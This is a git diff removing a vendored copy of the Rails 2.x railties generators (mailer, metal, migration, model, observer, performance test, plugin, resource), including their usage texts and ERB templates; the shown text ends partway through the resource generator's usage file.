--- a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/USAGE
+++ /dev/null
@@ -1,16 +0,0 @@
-Description:
-    Stubs out a new mailer and its views. Pass the mailer name, either
-    CamelCased or under_scored, and an optional list of emails as arguments.
-
-    This generates a mailer class in app/models, view templates in
-    app/views/mailer_name, a unit test in test/unit, and fixtures in
-    test/fixtures.
-
-Example:
-    `./script/generate mailer Notifications signup forgot_password invoice`
-
-    creates a Notifications mailer class, views, test, and fixtures:
-        Mailer:     app/models/notifications.rb
-        Views:      app/views/notifications/signup.erb [...]
-        Test:       test/unit/test/unit/notifications_test.rb
-        Fixtures:   test/fixtures/notifications/signup [...]
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/mailer_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/mailer_generator.rb
deleted file mode 100644
index ba6d60ca..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/mailer_generator.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class MailerGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions class_name, "#{class_name}Test"
-
-      # Mailer, view, test, and fixture directories.
-      m.directory File.join('app/models', class_path)
-      m.directory File.join('app/views', file_path)
-      m.directory File.join('test/unit', class_path)
-      m.directory File.join('test/fixtures', file_path)
-
-      # Mailer class and unit test.
-      m.template "mailer.rb",    File.join('app/models', class_path, "#{file_name}.rb")
-      m.template "unit_test.rb", File.join('test/unit', class_path, "#{file_name}_test.rb")
-
-      # View template and fixture for each action.
-      actions.each do |action|
-        relative_path = File.join(file_path, action)
-        view_path     = File.join('app/views', "#{relative_path}.erb")
-        fixture_path  = File.join('test/fixtures', relative_path)
-
-        m.template "view.erb", view_path,
-                   :assigns => { :action => action, :path => view_path }
-        m.template "fixture.erb", fixture_path,
-                   :assigns => { :action => action, :path => view_path }
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/fixture.erb b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/fixture.erb
deleted file mode 100644
index 6899257d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/fixture.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<%= class_name %>#<%= action %>
-
-Find me in <%= path %>
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/fixture.rhtml b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/fixture.rhtml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/mailer.rb b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/mailer.rb
deleted file mode 100644
index ce15ae9d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/mailer.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-class <%= class_name %> < ActionMailer::Base
-  
-<% for action in actions -%>
-
-  def <%= action %>(sent_at = Time.now)
-    subject    '<%= class_name %>#<%= action %>'
-    recipients ''
-    from       ''
-    sent_on    sent_at
-    
-    body       :greeting => 'Hi,'
-  end
-<% end -%>
-
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/unit_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/unit_test.rb
deleted file mode 100644
index 4de94076..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/unit_test.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>Test < ActionMailer::TestCase
-<% for action in actions -%>
-  test "<%= action %>" do
-    @expected.subject = '<%= class_name %>#<%= action %>'
-    @expected.body    = read_fixture('<%= action %>')
-    @expected.date    = Time.now
-
-    assert_equal @expected.encoded, <%= class_name %>.create_<%= action %>(@expected.date).encoded
-  end
-
-<% end -%>
-<% if actions.blank? -%>
-  # replace this with your real tests
-  test "the truth" do
-    assert true
-  end
-<% end -%>
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/view.erb b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/view.erb
deleted file mode 100644
index 6899257d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/view.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<%= class_name %>#<%= action %>
-
-Find me in <%= path %>
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/view.rhtml b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/templates/view.rhtml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE
deleted file mode 100644
index 123ec6c0..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE
+++ /dev/null
@@ -1,8 +0,0 @@
-Description:
-    Cast some metal!
-
-Examples:
-    `./script/generate metal poller`
-
-        This will create:
-            Metal: app/metal/poller.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb
deleted file mode 100644
index 64f49d92..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class MetalGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      m.directory 'app/metal'
-      m.template 'metal.rb', File.join('app/metal', "#{file_name}.rb")
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb b/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb
deleted file mode 100644
index e94982b6..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# Allow the metal piece to run in isolation
-require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
-
-class <%= class_name %>
-  def self.call(env)
-    if env["PATH_INFO"] =~ /^\/<%= file_name %>/
-      [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
-    else
-      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/migration/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/migration/USAGE
deleted file mode 100644
index b83c6579..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/migration/USAGE
+++ /dev/null
@@ -1,29 +0,0 @@
-Description:
-    Stubs out a new database migration. Pass the migration name, either
-    CamelCased or under_scored, and an optional list of attribute pairs as arguments.
-
-    A migration class is generated in db/migrate prefixed by a timestamp of the current date and time.
-
-    You can name your migration in either of these formats to generate add/remove
-    column lines from supplied attributes: AddColumnsToTable or RemoveColumnsFromTable
-
-Example:
-    `./script/generate migration AddSslFlag`
-
-    If the current date is May 14, 2008 and the current time 09:09:12, this creates the AddSslFlag migration
-    db/migrate/20080514090912_add_ssl_flag.rb
-
-    `./script/generate migration AddTitleBodyToPost title:string body:text published:boolean`
-    
-    This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with
-    this in the Up migration:
-
-      add_column :posts, :title, :string  
-      add_column :posts, :body, :text  
-      add_column :posts, :published, :boolean
-
-    And this in the Down migration:
-    
-      remove_column :posts, :published  
-      remove_column :posts, :body  
-      remove_column :posts, :title
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/migration/migration_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/migration/migration_generator.rb
deleted file mode 100644
index 9a40c5d3..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/migration/migration_generator.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-class MigrationGenerator < Rails::Generator::NamedBase  
-  def manifest
-    record do |m|
-      m.migration_template 'migration.rb', 'db/migrate', :assigns => get_local_assigns
-    end
-  end
-
-  
-  private  
-    def get_local_assigns
-      {}.tap do |assigns|
-        if class_name.underscore =~ /^(add|remove)_.*_(?:to|from)_(.*)/
-          assigns[:migration_action] = $1
-          assigns[:table_name]       = $2.pluralize
-        else
-          assigns[:attributes] = []
-        end
-      end
-    end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/migration/templates/migration.rb b/vendor/rails/railties/lib/rails_generator/generators/components/migration/templates/migration.rb
deleted file mode 100644
index ca35a432..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/migration/templates/migration.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class <%= class_name.underscore.camelize %> < ActiveRecord::Migration
-  def self.up<% attributes.each do |attribute| %>
-    <%= migration_action %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'add' %>, :<%= attribute.type %><% end -%>
-  <%- end %>
-  end
-
-  def self.down<% attributes.reverse.each do |attribute| %>
-    <%= migration_action == 'add' ? 'remove' : 'add' %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'remove' %>, :<%= attribute.type %><% end -%>
-  <%- end %>
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/model/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/model/USAGE
deleted file mode 100644
index 24b03b4d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/model/USAGE
+++ /dev/null
@@ -1,27 +0,0 @@
-Description:
-    Stubs out a new model. Pass the model name, either CamelCased or
-    under_scored, and an optional list of attribute pairs as arguments.
-
-    Attribute pairs are column_name:sql_type arguments specifying the
-    model's attributes. Timestamps are added by default, so you don't have to
-    specify them by hand as 'created_at:datetime updated_at:datetime'.
-
-    You don't have to think up every attribute up front, but it helps to
-    sketch out a few so you can start working with the model immediately.
-
-    This generates a model class in app/models, a unit test in test/unit,
-    a test fixture in test/fixtures/singular_name.yml, and a migration in
-    db/migrate.
-
-Examples:
-    `./script/generate model account`
-
-        creates an Account model, test, fixture, and migration:
-            Model:      app/models/account.rb
-            Test:       test/unit/account_test.rb
-            Fixtures:   test/fixtures/accounts.yml
-            Migration:  db/migrate/XXX_add_accounts.rb
-
-    `./script/generate model post title:string body:text published:boolean`
-
-        creates a Post model with a string title, text body, and published flag.
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/model/model_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/model/model_generator.rb
deleted file mode 100644
index 1895d8a9..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/model/model_generator.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-class ModelGenerator < Rails::Generator::NamedBase
-  default_options :skip_timestamps => false, :skip_migration => false, :skip_fixture => false
-
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions class_name, "#{class_name}Test"
-
-      # Model, test, and fixture directories.
-      m.directory File.join('app/models', class_path)
-      m.directory File.join('test/unit', class_path)
-      m.directory File.join('test/fixtures', class_path)
-
-      # Model class, unit test, and fixtures.
-      m.template 'model.rb',      File.join('app/models', class_path, "#{file_name}.rb")
-      m.template 'unit_test.rb',  File.join('test/unit', class_path, "#{file_name}_test.rb")
-
-      unless options[:skip_fixture] 
-       	m.template 'fixtures.yml',  File.join('test/fixtures', "#{table_name}.yml")
-      end
-
-      migration_file_path = file_path.gsub(/\//, '_')
-      migration_name = class_name
-      if ActiveRecord::Base.pluralize_table_names
-        migration_name = migration_name.pluralize
-        migration_file_path = migration_file_path.pluralize
-      end
-
-      unless options[:skip_migration]
-        m.migration_template 'migration.rb', 'db/migrate', :assigns => {
-          :migration_name => "Create#{migration_name.gsub(/::/, '')}"
-        }, :migration_file_name => "create_#{migration_file_path}"
-      end
-    end
-  end
-
-  protected
-    def banner
-      "Usage: #{$0} #{spec.name} ModelName [field:type, field:type]"
-    end
-
-    def add_options!(opt)
-      opt.separator ''
-      opt.separator 'Options:'
-      opt.on("--skip-timestamps",
-             "Don't add timestamps to the migration file for this model") { |v| options[:skip_timestamps] = v }
-      opt.on("--skip-migration", 
-             "Don't generate a migration file for this model") { |v| options[:skip_migration] = v }
-      opt.on("--skip-fixture",
-             "Don't generation a fixture file for this model") { |v| options[:skip_fixture] = v}
-    end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/fixtures.yml b/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/fixtures.yml
deleted file mode 100644
index a30132bc..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/fixtures.yml
+++ /dev/null
@@ -1,23 +0,0 @@
-# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
-
-<% unless attributes.empty? -%>
-one:
-<% for attribute in attributes -%>
-  <%= attribute.name %>: <%= attribute.default %>
-<% end -%>
-
-two:
-<% for attribute in attributes -%>
-  <%= attribute.name %>: <%= attribute.default %>
-<% end -%>
-<% else -%>
-# This model initially had no columns defined.  If you add columns to the
-# model remove the '{}' from the fixture names and add the columns immediately
-# below each fixture, per the syntax in the comments below
-#
-one: {}
-# column: value
-#
-two: {}
-#  column: value
-<% end -%>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/migration.rb b/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/migration.rb
deleted file mode 100644
index 382fd115..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/migration.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class <%= migration_name %> < ActiveRecord::Migration
-  def self.up
-    create_table :<%= table_name %> do |t|
-<% for attribute in attributes -%>
-      t.<%= attribute.type %> :<%= attribute.name %>
-<% end -%>
-<% unless options[:skip_timestamps] %>
-      t.timestamps
-<% end -%>
-    end
-  end
-
-  def self.down
-    drop_table :<%= table_name %>
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/model.rb b/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/model.rb
deleted file mode 100644
index 6fcf393b..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/model.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class <%= class_name %> < ActiveRecord::Base
-<% attributes.select(&:reference?).each do |attribute| -%>
-  belongs_to :<%= attribute.name %>
-<% end -%>
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/unit_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/unit_test.rb
deleted file mode 100644
index 3e0bc29d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/model/templates/unit_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>Test < ActiveSupport::TestCase
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/observer/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/observer/USAGE
deleted file mode 100644
index a5d744a3..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/observer/USAGE
+++ /dev/null
@@ -1,13 +0,0 @@
-Description:
-    Stubs out a new observer. Pass the observer name, either CamelCased or
-    under_scored, as an argument.
-
-    The generator creates an observer class in app/models and a unit test in
-    test/unit.
-
-Example:
-    `./script/generate observer Account`
-
-    creates an Account observer and unit test:
-        Observer:   app/models/account_observer.rb
-        Test:       test/unit/account_observer_test.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/observer/observer_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/observer/observer_generator.rb
deleted file mode 100644
index 3c4b330a..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/observer/observer_generator.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class ObserverGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions "#{class_name}Observer", "#{class_name}ObserverTest"
-
-      # Observer, and test directories.
-      m.directory File.join('app/models', class_path)
-      m.directory File.join('test/unit', class_path)
-
-      # Observer class and unit test fixtures.
-      m.template 'observer.rb',   File.join('app/models', class_path, "#{file_name}_observer.rb")
-      m.template 'unit_test.rb',  File.join('test/unit', class_path, "#{file_name}_observer_test.rb")
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/observer/templates/observer.rb b/vendor/rails/railties/lib/rails_generator/generators/components/observer/templates/observer.rb
deleted file mode 100644
index b9a30041..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/observer/templates/observer.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class <%= class_name %>Observer < ActiveRecord::Observer
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/observer/templates/unit_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/observer/templates/unit_test.rb
deleted file mode 100644
index 03f6d566..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/observer/templates/unit_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>ObserverTest < ActiveSupport::TestCase
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/USAGE
deleted file mode 100644
index d84051eb..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/USAGE
+++ /dev/null
@@ -1,8 +0,0 @@
-Description:
-    Stubs out a new performance test. Pass the name of the test, either
-    CamelCased or under_scored, as an argument. The new test class is
-    generated in test/performance/testname_test.rb
-
-Example:
-    `./script/generate performance_test GeneralStories` creates a GeneralStories
-    performance test in test/performance/general_stories_test.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb
deleted file mode 100644
index 83ce8ac6..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class PerformanceTestGenerator < Rails::Generator::NamedBase
-  default_options :skip_migration => false
-
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions class_name, "#{class_name}Test"
-
-      # performance test directory
-      m.directory File.join('test/performance', class_path)
-
-      # performance test stub
-      m.template 'performance_test.rb', File.join('test/performance', class_path, "#{file_name}_test.rb")
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb
deleted file mode 100644
index 27c91b0f..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'test_helper'
-require 'performance_test_help'
-
-class <%= class_name %>Test < ActionController::PerformanceTest
-  # Replace this with your real tests.
-  def test_homepage
-    get '/'
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/USAGE
deleted file mode 100644
index d2ecfc2d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/USAGE
+++ /dev/null
@@ -1,25 +0,0 @@
-Description:
-    Stubs out a new plugin. Pass the plugin name, either CamelCased or
-    under_scored, as an argument. Pass --with-generator to add an example
-    generator also.
-
-    This creates a plugin in vendor/plugins including an init.rb and README
-    as well as standard lib, task, and test directories.
-
-Example:
-    `./script/generate plugin BrowserFilters`
-
-    creates a standard browser_filters plugin:
-        vendor/plugins/browser_filters/README
-        vendor/plugins/browser_filters/init.rb
-        vendor/plugins/browser_filters/install.rb
-        vendor/plugins/browser_filters/lib/browser_filters.rb
-        vendor/plugins/browser_filters/test/browser_filters_test.rb
-        vendor/plugins/browser_filters/tasks/browser_filters_tasks.rake
-
-    ./script/generate plugin BrowserFilters --with-generator
-
-    creates a browser_filters generator also:
-        vendor/plugins/browser_filters/generators/browser_filters/browser_filters_generator.rb
-        vendor/plugins/browser_filters/generators/browser_filters/USAGE
-        vendor/plugins/browser_filters/generators/browser_filters/templates/
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/plugin_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/plugin_generator.rb
deleted file mode 100644
index 34c10b51..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/plugin_generator.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-class PluginGenerator < Rails::Generator::NamedBase
-  attr_reader :plugin_path
-
-  def initialize(runtime_args, runtime_options = {})
-    @with_generator = runtime_args.delete("--with-generator")
-    super
-    @plugin_path = "vendor/plugins/#{file_name}"
-  end
-
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions class_name
-
-      m.directory "#{plugin_path}/lib"
-      m.directory "#{plugin_path}/lib/tasks"
-      m.directory "#{plugin_path}/test"
-
-      m.template 'README',         "#{plugin_path}/README"
-      m.template 'MIT-LICENSE',    "#{plugin_path}/MIT-LICENSE"
-      m.template 'Rakefile',       "#{plugin_path}/Rakefile"
-      m.template 'init.rb',        "#{plugin_path}/init.rb"
-      m.template 'install.rb',     "#{plugin_path}/install.rb"
-      m.template 'uninstall.rb',   "#{plugin_path}/uninstall.rb"
-      m.template 'plugin.rb',      "#{plugin_path}/lib/#{file_name}.rb"
-      m.template 'tasks.rake',     "#{plugin_path}/lib/tasks/#{file_name}.rake"
-      m.template 'unit_test.rb',   "#{plugin_path}/test/#{file_name}_test.rb"
-      m.template 'test_helper.rb', "#{plugin_path}/test/test_helper.rb"
-      if @with_generator
-        m.directory "#{plugin_path}/generators"
-        m.directory "#{plugin_path}/generators/#{file_name}"
-        m.directory "#{plugin_path}/generators/#{file_name}/templates"
-
-        m.template 'generator.rb', "#{plugin_path}/generators/#{file_name}/#{file_name}_generator.rb"
-        m.template 'USAGE',        "#{plugin_path}/generators/#{file_name}/USAGE"
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE
deleted file mode 100644
index 8717df05..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) <%= Date.today.year %> [name of plugin creator]
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/README b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/README
deleted file mode 100644
index 702db07c..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/README
+++ /dev/null
@@ -1,13 +0,0 @@
-<%= class_name %>
-<%= "=" * class_name.size %>
-
-Introduction goes here.
-
-
-Example
-=======
-
-Example goes here.
-
-
-Copyright (c) <%= Date.today.year %> [name of plugin creator], released under the MIT license
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/Rakefile b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/Rakefile
deleted file mode 100644
index c56ce947..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/Rakefile
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'rake'
-require 'rake/testtask'
-require 'rdoc/task'
-
-desc 'Default: run unit tests.'
-task :default => :test
-
-desc 'Test the <%= file_name %> plugin.'
-Rake::TestTask.new(:test) do |t|
-  t.libs << 'lib'
-  t.libs << 'test'
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = true
-end
-
-desc 'Generate documentation for the <%= file_name %> plugin.'
-RDoc::Task.new(:rdoc) do |rdoc|
-  rdoc.rdoc_dir = 'rdoc'
-  rdoc.title    = '<%= class_name %>'
-  rdoc.options << '--line-numbers' << '--inline-source'
-  rdoc.rdoc_files.include('README')
-  rdoc.rdoc_files.include('lib/**/*.rb')
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/USAGE
deleted file mode 100644
index ea9f4f12..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/USAGE
+++ /dev/null
@@ -1,8 +0,0 @@
-Description:
-    Explain the generator
-
-Example:
-    ./script/generate <%= file_name %> Thing
-
-    This will create:
-        what/will/it/create
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/generator.rb
deleted file mode 100644
index 3e800df6..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/generator.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class <%= class_name %>Generator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      # m.directory "lib"
-      # m.template 'README', "README"
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/init.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/init.rb
deleted file mode 100644
index 3c19a743..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-# Include hook code here
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/install.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/install.rb
deleted file mode 100644
index f7732d37..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/install.rb
+++ /dev/null
@@ -1 +0,0 @@
-# Install hook code here
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/plugin.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/plugin.rb
deleted file mode 100644
index d8d908a9..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/plugin.rb
+++ /dev/null
@@ -1 +0,0 @@
-# <%= class_name %>
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/tasks.rake b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/tasks.rake
deleted file mode 100644
index 72920a9d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/tasks.rake
+++ /dev/null
@@ -1,4 +0,0 @@
-# desc "Explaining what the task does"
-# task :<%= file_name %> do
-#   # Task goes here
-# end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/test_helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/test_helper.rb
deleted file mode 100644
index 51093e14..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/test_helper.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'rubygems'
-require 'test/unit'
-require 'active_support'
-require 'active_support/test_case'
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/uninstall.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/uninstall.rb
deleted file mode 100644
index 97383334..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/uninstall.rb
+++ /dev/null
@@ -1 +0,0 @@
-# Uninstall hook code here
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/unit_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/unit_test.rb
deleted file mode 100644
index 3e0bc29d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/unit_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>Test < ActiveSupport::TestCase
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE
deleted file mode 100644
index e6043f1d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE
+++ /dev/null
@@ -1,23 +0,0 @@
-Description:
-    Stubs out a new resource including an empty model and controller suitable
-    for a restful, resource-oriented application. Pass the singular model name,
-    either CamelCased or under_scored, as the first argument, and an optional
-    list of attribute pairs.
-
-    Attribute pairs are column_name:sql_type arguments specifying the
-    model's attributes. Timestamps are added by default, so you don't have to
-    specify them by hand as 'created_at:datetime updated_at:datetime'.
-
-    You don't have to think up every attribute up front, but it helps to
-    sketch out a few so you can start working with the resource immediately.
-
-    This creates a model, controller, helper, tests and fixtures for all of them,
-    and the corresponding map.resources declaration in config/routes.rb
-
-    Unlike the scaffold generator, the resource generator does not create
-    views or add any methods to the generated controller.
-
-Examples:
-    `./script/generate resource post` # no attributes
-    `./script/generate resource post title:string body:text published:boolean`
-    `./script/generate resource purchase order_id:integer amount:decimal`
